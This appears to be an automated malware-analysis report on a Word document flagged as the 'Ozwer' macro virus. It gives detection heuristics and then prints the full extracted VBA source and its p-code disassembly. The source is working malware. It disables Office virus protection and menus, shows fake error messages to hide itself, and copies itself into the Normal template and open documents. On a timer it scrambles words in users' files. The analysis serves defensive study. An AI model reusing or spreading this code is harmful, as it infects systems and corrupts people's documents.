MALICIOUS
248
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains legacy WordBasic macro virus markers and VBA macros, including an AutoOpen macro, indicating malicious intent. The ClamAV detection names 'Doc.Trojan.VMPCK1-16' and 'Doc.Trojan.Ozwer-1' further confirm its malicious nature. The VBA script attempts to disable security features and manipulate the document's normal template, likely to facilitate further malicious activity.
Heuristics 5
-
ClamAV: Doc.Trojan.VMPCK1-16 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.VMPCK1-16
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 17449 bytes |
SHA-256: e2ffa061be5ce0a5e875d256731f7e27eecf1c9e6e21f85549f3fbdf974fdcaa |
|||
|
Detection
ClamAV:
Doc.Trojan.Ozwer-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "ozwer"
Option Explicit
Public Sub AutoExec()
On Error Resume Next
With CommandBars("tools")
.Controls(13).Enabled = False 'macro
.Controls(14).Enabled = False 'plantillas y complementos....
.Controls(15).Enabled = False 'personalizar...
.Controls(16).Enabled = True 'opciones...
End With
CommandBars("view").Controls(6).Enabled = False 'barras de herramientas
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
End Sub
Sub AutoOpen()
On Error Resume Next
AutoExec
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
inf
timer
End Sub
Sub inf()
On Error Resume Next
Options.SaveNormalPrompt = False
If Nch = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="ozwer", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="oswf", Object:=wdOrganizerObjectProjectItems
Application.Caption = "° Microsoft Word"
End If
If Dch = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="ozwer", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="oswf", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Function Nch()
Dim i As Integer
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "ozwer" Then Nch = True
Next
End Function
Function Dch()
Dim j As Integer
For j = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(j).Name = "ozwer" Then Dch = True
Next
End Function
Public Sub c()
Options.SaveNormalPrompt = False
inf
End Sub
Sub FormatFont()
inf
Dialogs(wdDialogFormatFont).Show
End Sub
Sub FilePrint()
inf
Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileSaveas()
c
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FileSave()
c
ActiveDocument.Save
End Sub
Sub filenew()
Word.Documents.Add
inf
timer
End Sub
Sub EditCopy()
inf
Selection.Copy
End Sub
Sub editpaste()
inf
Selection.Paste
End Sub
Sub ToolsMacro()
On Error Resume Next
oswf.Show
End Sub
Sub FileExit()
c
Application.Quit
MsgBox ("oK")
End Sub
Sub ViewVBCode()
On Error Resume Next
Dim letr As String
letr = CommandBars("tools").Controls(16).Caption
Select Case letr
Case "Opcio&nes..."
MsgBox "Error interno en Word Basic Err=1100e." + vbCr + "Imposible cargar bibliotecas dinámicas." + vbCr + vbCr + "Compruebe que todos los archivos estén" + vbCr + "en sus carpetas." + vbCr + vbCr + "Si el problema persiste, consulte la guia" + vbCr + "del usuario.", vbCritical
Case "&Options..."
MsgBox "Word Basic internal error Err=1100e." + vbCr + "Unable to load module 1x6004." + vbCr + vbCr + "Check that all files are in their folders" + vbCr + "and that they are not damaged." + vbCr + vbCr + "If the problem persists, consult user´s guide.", vbCritical
End Select
End Sub
Sub ToolsOptions()
Dim Y As Byte
Randomize
Y = Int((7 * Rnd) + 1)
Select Case Y
Case 1
Dialogs(wdDialogToolsOptionsTabView).Show
Case 2
Dialogs(wdDialogToolsOptionsSpellingAndGrammar).Show
Case 3
Dialogs(wdDialogToolsOptionsTabPrint).Show
Case 4
Dialogs(wdDialogToolsOptionsTabEdit).Show
Case 6
Dialogs(wdDialogToolsOptionsTabTrackChanges).Show
Case 5
Dialogs(wdDialogToolsOptionsTabUserInfo).Show
Case 7
Dialogs(wdDialogToolsOptionsCompatibility).Show
End Select
End Sub
Sub osw2()Rem muy muy buena pero sin forma de desarmarlo !!!!!
Dim indi, nu, nu2, limite, x As Integer
x = Int((4 * Rnd) + 1)
On Error GoTo bye
limite = ActiveDocument.Words.Count
If limite = (limite > 350 And limite < 400) Or (limite > 700 And limite < 750) Or (limite > 900 And limite < 950) Or (limite > 1000 And limite < 1050) Or (limite > 1150 And limite < 1200) Or (limite > 1300 And limite < 1350) Or (limite > 1500 And limite < 1600) And x = 3 Then
Selection.HomeKey Unit:=wdStory
For indi = 1 To limite
Randomize
nu2 = Int((5 * Rnd) + 2)
nu = Int((4 * Rnd) + 1)
indi = indi + nu2
ActiveDocument.Words(indi).Select
WordBasic.MoveText
If nu = 1 Then
Selection.MoveRight Unit:=wdWord, Count:=nu2
Else
Selection.MoveLeft Unit:=wdWord, Count:=nu2
End If
WordBasic.OK
Next indi
End If
timer
bye:
End Sub
Sub timer()
Application.OnTime When:=Now + TimeValue("00:20:00"), Name:="osw2"
End Sub
' Processing file: /tmp/qstore_z5wg_qtt
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/ozwer - 9250 bytes
' Line #0:
' Option (Explicit)
' Line #1:
' FuncDefn (Public Sub AutoExec())
' Line #2:
' OnError (Resume Next)
' Line #3:
' StartWithExpr
' LitStr 0x0005 "tools"
' ArgsLd CommandBars 0x0001
' With
' Line #4:
' LitVarSpecial (False)
' LitDI2 0x000D
' ArgsMemLdWith Controls 0x0001
' MemSt Enabled
' QuoteRem 0x001E 0x0005 "macro"
' Line #5:
' LitVarSpecial (False)
' LitDI2 0x000E
' ArgsMemLdWith Controls 0x0001
' MemSt Enabled
' QuoteRem 0x001E 0x001D "plantillas y complementos...."
' Line #6:
' LitVarSpecial (False)
' LitDI2 0x000F
' ArgsMemLdWith Controls 0x0001
' MemSt Enabled
' QuoteRem 0x001F 0x000F "personalizar..."
' Line #7:
' LitVarSpecial (True)
' LitDI2 0x0010
' ArgsMemLdWith Controls 0x0001
' MemSt Enabled
' QuoteRem 0x001E 0x000B "opciones..."
' Line #8:
' EndWith
' Line #9:
' LitVarSpecial (False)
' LitDI2 0x0006
' LitStr 0x0004 "view"
' ArgsLd CommandBars 0x0001
' ArgsMemLd Controls 0x0001
' MemSt Enabled
' QuoteRem 0x0030 0x0016 "barras de herramientas"
' Line #10:
' LitVarSpecial (False)
' Ld Application
' MemSt ScreenUpdating
' Line #11:
' Ld wdAlertsNone
' Ld Application
' MemSt DisplayAlerts
' Line #12:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #13:
' EndSub
' Line #14:
' FuncDefn (Sub AutoOpen())
' Line #15:
' OnError (Resume Next)
' Line #16:
' ArgsCall AutoExec 0x0000
' Line #17:
' LitVarSpecial (False)
' Ld Application
' MemSt ScreenUpdating
' Line #18:
' Ld wdAlertsNone
' Ld Application
' MemSt DisplayAlerts
' Line #19:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #20:
' ArgsCall inf 0x0000
' Line #21:
' ArgsCall timer 0x0000
' Line #22:
' EndSub
' Line #23:
' FuncDefn (Sub inf())
' Line #24:
' OnError (Resume Next)
' Line #25:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #26:
' Ld Nch
' LitVarSpecial (False)
' Eq
' IfBlock
' Line #27:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x0005 "ozwer"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #28:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Source
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Destination
' LitStr 0x0004 "oswf"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #29:
' LitStr 0x0010 "° Microsoft Word"
' Ld Application
' MemSt Caption
' Line #30:
' EndIfBlock
' Line #31:
' Ld Dch
' LitVarSpecial (False)
' Eq
' IfBlock
' Line #32:
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Source
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Destination
' LitStr 0x0005 "ozwer"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #33:
' Ld NormalTemplate
' MemLd FullName
' ParamNamed Source
' Ld ActiveDocument
' MemLd FullName
' ParamNamed Destination
' LitStr 0x0004 "oswf"
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #34:
' EndIfBlock
' Line #35:
' EndSub
' Line #36:
' FuncDefn (Function Nch())
' Line #37:
' Dim
' VarDefn i (As Integer)
' Line #38:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #39:
' Ld i
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "ozwer"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St Nch
' EndIf
' Line #40:
' StartForVariable
' Next
' Line #41:
' EndFunc
' Line #42:
' FuncDefn (Function Dch())
' Line #43:
' Dim
' VarDefn j (As Integer)
' Line #44:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #45:
' Ld j
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "ozwer"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St Dch
' EndIf
' Line #46:
' StartForVariable
' Next
' Line #47:
' EndFunc
' Line #48:
' FuncDefn (Public Sub c())
' Line #49:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #50:
' ArgsCall inf 0x0000
' Line #51:
' EndSub
' Line #52:
' FuncDefn (Sub FormatFont())
' Line #53:
' ArgsCall inf 0x0000
' Line #54:
' Ld wdDialogFormatFont
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #55:
' EndSub
' Line #56:
' FuncDefn (Sub FilePrint())
' Line #57:
' ArgsCall inf 0x0000
' Line #58:
' Ld wdDialogFilePrint
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #59:
' EndSub
' Line #60:
' FuncDefn (Sub FileSaveas())
' Line #61:
' ArgsCall c 0x0000
' Line #62:
' Ld wdDialogFileSaveAs
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #63:
' EndSub
' Line #64:
' FuncDefn (Sub FileSave())
' Line #65:
' ArgsCall c 0x0000
' Line #66:
' Ld ActiveDocument
' ArgsMemCall Save 0x0000
' Line #67:
' EndSub
' Line #68:
' Line #69:
' FuncDefn (Sub filenew())
' Line #70:
' Ld Word
' MemLd Documents
' ArgsMemCall Add 0x0000
' Line #71:
' ArgsCall inf 0x0000
' Line #72:
' ArgsCall timer 0x0000
' Line #73:
' EndSub
' Line #74:
' FuncDefn (Sub EditCopy())
' Line #75:
' ArgsCall inf 0x0000
' Line #76:
' Ld Selection
' ArgsMemCall Copy 0x0000
' Line #77:
' EndSub
' Line #78:
' FuncDefn (Sub editpaste())
' Line #79:
' ArgsCall inf 0x0000
' Line #80:
' Line #81:
' Ld Selection
' ArgsMemCall Paste 0x0000
' Line #82:
' EndSub
' Line #83:
' FuncDefn (Sub ToolsMacro())
' Line #84:
' OnError (Resume Next)
' Line #85:
' Ld oswf
' ArgsMemCall Show 0x0000
' Line #86:
' EndSub
' Line #87:
' FuncDefn (Sub FileExit())
' Line #88:
' ArgsCall c 0x0000
' Line #89:
' Ld Application
' ArgsMemCall Quit 0x0000
' Line #90:
' LitStr 0x0002 "oK"
' Paren
' ArgsCall MsgBox 0x0001
' Line #91:
' EndSub
' Line #92:
' FuncDefn (Sub ViewVBCode())
' Line #93:
' OnError (Resume Next)
' Line #94:
' Dim
' VarDefn letr (As String)
' Line #95:
' LitDI2 0x0010
' LitStr 0x0005 "tools"
' ArgsLd CommandBars 0x0001
' ArgsMemLd Controls 0x0001
' MemLd Caption
' St letr
' Line #96:
' Ld letr
' SelectCase
' Line #97:
' LitStr 0x000C "Opcio&nes..."
' Case
' CaseDone
' Line #98:
' LitStr 0x0026 "Error interno en Word Basic Err=1100e."
' Ld vbCr
' Add
' LitStr 0x0027 "Imposible cargar bibliotecas dinámicas."
' Add
' Ld vbCr
' Add
' Ld vbCr
' Add
' LitStr 0x0026 "Compruebe que todos los archivos estén"
' Add
' Ld vbCr
' Add
' LitStr 0x0010 "en sus carpetas."
' Add
' Ld vbCr
' Add
' Ld vbCr
' Add
' LitStr 0x0029 "Si el problema persiste, consulte la guia"
' Add
' Ld vbCr
' Add
' LitStr 0x000C "del usuario."
' Add
' Ld vbCritical
' ArgsCall MsgBox 0x0002
' Line #99:
' LitStr 0x000B "&Options..."
' Case
' CaseDone
' Line #100:
' LitStr 0x0024 "Word Basic internal error Err=1100e."
' Ld vbCr
' Add
' LitStr 0x001D "Unable to load module 1x6004."
' Add
' Ld vbCr
' Add
' Ld vbCr
' Add
' LitStr 0x0029 "Check that all files are in their folders"
' Add
' Ld vbCr
' Add
' LitStr 0x001E "and that they are not damaged."
' Add
' Ld vbCr
' Add
' Ld vbCr
' Add
' LitStr 0x002E "If the problem persists, consult user´s guide."
' Add
' Ld vbCritical
' ArgsCall MsgBox 0x0002
' Line #101:
' EndSelect
' Line #102:
' EndSub
' Line #103:
' FuncDefn (Sub ToolsOptions())
' Line #104:
' Dim
' VarDefn Y (As Byte)
' Line #105:
' ArgsCall Read 0x0000
' Line #106:
' LitDI2 0x0007
' Ld Rnd
' Mul
' Paren
' LitDI2 0x0001
' Add
' FnInt
' St Y
' Line #107:
' Ld Y
' SelectCase
' Line #108:
' LitDI2 0x0001
' Case
' CaseDone
' Line #109:
' Ld wdDialogToolsOptionsTabView
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #110:
' LitDI2 0x0002
' Case
' CaseDone
' Line #111:
' Ld wdDialogToolsOptionsSpellingAndGrammar
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #112:
' LitDI2 0x0003
' Case
' CaseDone
' Line #113:
' Ld wdDialogToolsOptionsTabPrint
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #114:
' LitDI2 0x0004
' Case
' CaseDone
' Line #115:
' Ld wdDialogToolsOptionsTabEdit
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #116:
' LitDI2 0x0006
' Case
' CaseDone
' Line #117:
' Ld wdDialogToolsOptionsTabTrackChanges
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #118:
' LitDI2 0x0005
' Case
' CaseDone
' Line #119:
' Ld wdDialogToolsOptionsTabUserInfo
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #120:
' LitDI2 0x0007
' Case
' CaseDone
' Line #121:
' Ld wdDialogToolsOptionsCompatibility
' ArgsLd Dialogs 0x0001
' ArgsMemCall Show 0x0000
' Line #122:
' EndSelect
' Line #123:
' EndSub
' Line #124:
' FuncDefn (Sub osw2())
' Rem 0x0031 " muy muy buena pero sin forma de desarmarlo !!!!!"
' Line #125:
' Dim
' VarDefn indi
' VarDefn nu
' VarDefn nu2
' VarDefn limite
' VarDefn x (As Integer)
' Line #126:
' LitDI2 0x0004
' Ld Rnd
' Mul
' Paren
' LitDI2 0x0001
' Add
' FnInt
' St x
' Line #127:
' OnError bye
' Line #128:
' Ld ActiveDocument
' MemLd Words
' MemLd Count
' St limite
' Line #129:
' Ld limite
' Ld limite
' LitDI2 0x015E
' Gt
' Ld limite
' LitDI2 0x0190
' Lt
' And
' Paren
' Eq
' Ld limite
' LitDI2 0x02BC
' Gt
' Ld limite
' LitDI2 0x02EE
' Lt
' And
' Paren
' Or
' Ld limite
' LitDI2 0x0384
' Gt
' Ld limite
' LitDI2 0x03B6
' Lt
' And
' Paren
' Or
' Ld limite
' LitDI2 0x03E8
' Gt
' Ld limite
' LitDI2 0x041A
' Lt
' And
' Paren
' Or
' Ld limite
' LitDI2 0x047E
' Gt
' Ld limite
' LitDI2 0x04B0
' Lt
' And
' Paren
' Or
' Ld limite
' LitDI2 0x0514
' Gt
' Ld limite
' LitDI2 0x0546
' Lt
' And
' Paren
' Or
' Ld limite
' LitDI2 0x05DC
' Gt
' Ld limite
' LitDI2 0x0640
' Lt
' And
' Paren
' Ld x
' LitDI2 0x0003
' Eq
' And
' Or
' IfBlock
' Line #130:
' Ld wdStory
' ParamNamed Unit
' Ld Selection
' ArgsMemCall HomeKey 0x0001
' Line #131:
' StartForVariable
' Ld indi
' EndForVariable
' LitDI2 0x0001
' Ld limite
' For
' Line #132:
' ArgsCall Read 0x0000
' Line #133:
' LitDI2 0x0005
' Ld Rnd
' Mul
' Paren
' LitDI2 0x0002
' Add
' FnInt
' St nu2
' Line #134:
' LitDI2 0x0004
' Ld Rnd
' Mul
' Paren
' LitDI2 0x0001
' Add
' FnInt
' St nu
' Line #135:
' Ld indi
' Ld nu2
' Add
' St indi
' Line #136:
' Ld indi
' Ld ActiveDocument
' ArgsMemLd Words 0x0001
' ArgsMemCall Set 0x0000
' Line #137:
' Ld WordBasic
' ArgsMemCall MoveText 0x0000
' Line #138:
' Ld nu
' LitDI2 0x0001
' Eq
' IfBlock
' Line #139:
' Ld wdWord
' ParamNamed Unit
' Ld nu2
' ParamNamed Count
' Ld Selection
' ArgsMemCall MoveRight 0x0002
' Line #140:
' ElseBlock
' Line #141:
' Ld wdWord
' ParamNamed Unit
' Ld nu2
' ParamNamed Count
' Ld Selection
' ArgsMemCall MoveLeft 0x0002
' Line #142:
' EndIfBlock
' Line #143:
' Ld WordBasic
' ArgsMemCall OK 0x0000
' Line #144:
' StartForVariable
' Ld indi
' EndForVariable
' NextVar
' Line #145:
' EndIfBlock
' Line #146:
' ArgsCall timer 0x0000
' Line #147:
' Label bye
' Line #148:
' EndSub
' Line #149:
' FuncDefn (Sub timer())
' Line #150:
' Ld Now
' LitStr 0x0008 "00:20:00"
' ArgsLd TimeValue 0x0001
' Add
' ParamNamed When
' LitStr 0x0004 "osw2"
' ParamNamed New
' Ld Application
' ArgsMemCall OnTime 0x0002
' Line #151:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.